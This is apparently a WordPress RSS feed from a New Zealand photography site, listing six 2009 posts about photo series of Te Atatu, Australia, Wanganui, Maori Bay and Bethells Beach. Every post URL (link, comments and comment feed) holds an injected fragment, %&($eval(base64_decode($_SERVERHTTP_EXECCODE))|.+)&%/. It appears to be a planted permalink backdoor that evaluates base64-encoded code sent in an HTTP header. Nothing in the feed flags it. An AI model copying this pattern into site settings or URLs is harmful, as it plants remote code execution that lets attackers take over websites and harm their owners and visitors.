<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chris Lousich Photo</title>
	<atom:link href="http://www.chrislousichphoto.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.chrislousichphoto.com</link>
	<description>New Zealand Landscape Photography</description>
	<lastBuildDate>Wed, 10 Aug 2011 16:42:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Sunrise Te Atatu Updates</title>
		<link>http://www.chrislousichphoto.com/2009/07/14/sunrise-te-atatu-updates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/07/14/sunrise-te-atatu-updates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 13 Jul 2009 23:24:19 +0000</pubDate>
		<dc:creator>chris-l</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=186</guid>
		<description><![CDATA[New additional photos added to the Sunrise Te Atatu series.]]></description>
			<content:encoded><![CDATA[<p>New additional photos added to the Sunrise Te Atatu series. <a href="http://www.chrislousichphoto.com/products-page/new-zealand/sunrise-te-atatu/">Sunrise photo series</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/07/14/sunrise-te-atatu-updates/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Australia Photo Series</title>
		<link>http://www.chrislousichphoto.com/2009/07/11/australia-photo-series/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/07/11/australia-photo-series/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 11 Jul 2009 04:57:23 +0000</pubDate>
		<dc:creator>chris-l</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=180</guid>
		<description><![CDATA[Photos from Chris' recent trip to Australia. ]]></description>
			<content:encoded><![CDATA[<p>Photos from Chris&#8217; recent trip to Australia. Complete photo series: <a href="http://www.chrislousichphoto.com/products-page/australia/gold-coast-to-longreach/">http://www.chrislousichphoto.com/products-page/australia/gold-coast-to-longreach/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/07/11/australia-photo-series/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanganui Photo Series</title>
		<link>http://www.chrislousichphoto.com/2009/06/02/wanganui/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/06/02/wanganui/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 03:22:22 +0000</pubDate>
		<dc:creator>chris-l</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=156</guid>
		<description><![CDATA[Wanganui is located on the South Taranaki Bight, close to the mouth of the Whanganui River. It is 200 kilometres north of Wellington and 75 kilometres northwest of Palmerston North.]]></description>
			<content:encoded><![CDATA[<p>Wanganui is located on the South Taranaki Bight, close to the mouth of the Whanganui River. It is 200 kilometres north of Wellington and 75 kilometres northwest of Palmerston North, at the junction of State Highways 3 and 4. Most of the town lies on the river&#8217;s northwestern bank, although some suburbs are located on the opposite side of the river. <a href="http://www.chrislousichphoto.com/products-page/new-zealand/wanganui/">See the photos here</a></p>
<p><img class="alignnone size-full wp-image-155" title="wanganui" src="http://www.chrislousichphoto.com/media/photos/2009/05/wanganui.gif" alt="wanganui" width="221" height="294" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/06/02/wanganui/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maori Bay Photos</title>
		<link>http://www.chrislousichphoto.com/2009/03/18/maori-bay-photos/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/03/18/maori-bay-photos/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 20:12:20 +0000</pubDate>
		<dc:creator>chris-l</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=126</guid>
		<description><![CDATA[<a href="http://www.chrislousichphoto.com/products-page/new-zealand/beach/maori-bay/">Maori Bay photos</a> have been added. Maori Bay is located next to Muriwai Beach on Auckland's West coast.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.chrislousichphoto.com/products-page/new-zealand/beach/maori-bay/">Maori Bay photos</a> have been added. Maori Bay is located next to Muriwai Beach on Auckland&#8217;s West coast.</p>
<p><iframe width="425" height="350" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.co.nz/maps?f=q&amp;source=s_q&amp;hl=en&amp;q=Maori+Bay&amp;sll=-41.244772,172.617188&amp;sspn=50.632965,114.257813&amp;ie=UTF8&amp;cd=1&amp;geocode=FbXuzf0diHFlCg&amp;split=0&amp;s=AARTsJok7zVPTnVnte3Jj8L2sDxEWISzjg&amp;ll=-36.764192,174.453964&amp;spn=0.192526,0.291824&amp;z=11&amp;output=embed"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/03/18/maori-bay-photos/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Toi Toi At Bethells Beach</title>
		<link>http://www.chrislousichphoto.com/2009/03/12/toi-toi-at-bethells-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/03/12/toi-toi-at-bethells-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 03:01:04 +0000</pubDate>
		<dc:creator>chris-l</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[beach]]></category>
		<category><![CDATA[flower]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=85</guid>
		<description><![CDATA[Toi-toi  are commonly among the sand dunes along Bethells beach. Bethells Beach or Te Hanga (meaning sand in Māori ) is approximately 30 kilometres north-west of Auckland City, at the mouth of the Waitakere River where if flows into the Tasman Sea.]]></description>
			<content:encoded><![CDATA[<p>Toi-toi  are commonly among the sand dunes along Bethells beach. Bethells Beach or Te Hanga (meaning sand in Māori ) is approximately 30 kilometres north-west of Auckland City, at the mouth of the Waitakere River where if flows into the Tasman Sea. One of several popular resorts in the area (others include Muriwai, Piha and Karekare), it experiences a population explosion in summer when Aucklanders head to the sea.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/03/12/toi-toi-at-bethells-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bethells Beach</title>
		<link>http://www.chrislousichphoto.com/2009/02/26/bethels-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.chrislousichphoto.com/2009/02/26/bethels-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 22:47:11 +0000</pubDate>
		<dc:creator>arctic</dc:creator>
				<category><![CDATA[Featured]]></category>

		<guid isPermaLink="false">http://www.chrislousichphoto.com/?p=16</guid>
		<description><![CDATA[or Te Hanga (meaning sand in Māori ) is approximately 30 kilometres north-west of Auckland City, at the mouth of the Waitakere River where if flows into the Tasman Sea.]]></description>
			<content:encoded><![CDATA[<p>or Te Hanga (meaning sand in Māori ) is approximately 30 kilometres north-west of Auckland City, at the mouth of the Waitakere River where if flows into the Tasman Sea. One of several popular resorts in the area (others include Muriwai, Piha and Karekare), it experiences a population explosion in summer when Aucklanders head to the sea.</p>
<p><img class="alignnone size-full wp-image-51" title="westcoast-map" src="http://www.chrislousichphoto.com/media/photos/2009/02/westcoast-map1.gif" alt="westcoast-map" width="221" height="294" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.chrislousichphoto.com/2009/02/26/bethels-beach/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

